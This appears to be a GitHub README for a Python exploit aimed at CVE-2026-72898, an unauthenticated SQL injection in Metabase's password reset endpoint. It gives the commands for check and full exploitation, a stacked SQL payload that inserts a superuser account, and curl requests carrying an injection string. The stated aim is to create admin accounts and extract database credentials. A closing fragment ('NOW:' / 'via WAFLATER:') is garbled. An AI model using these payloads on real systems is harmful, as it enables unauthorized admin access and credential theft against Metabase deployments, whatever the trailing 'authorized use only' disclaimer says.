34zy/cve-2026-72898Python exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password reset endpoint that creates admin accounts and extracts database credentials.
Unauthenticated SQL injection in Metabase /api/session/reset_password endpoint. Creates admin accounts and extracts database credentials.
Affected: v58.0 - v63.3 | Patched: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+
pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check
String concatenation in SQL query:
# Vulnerable code
query = f"SELECT * FROM core_user WHERE email='{email}'"
Attack payload:
'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --
Check only (no modification):
python3 CVE-2026-72898.py http://localhost:5000 --check
Full exploitation:
python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!
Manual testing:
# Verify endpoint
curl http://localhost:5000/api/health
# Test SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
-H "Content-Type: application/json" \
-d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'
NOW:
/api/session/reset_password via WAFLATER:
Authorized use only. Unauthorized access is illegal.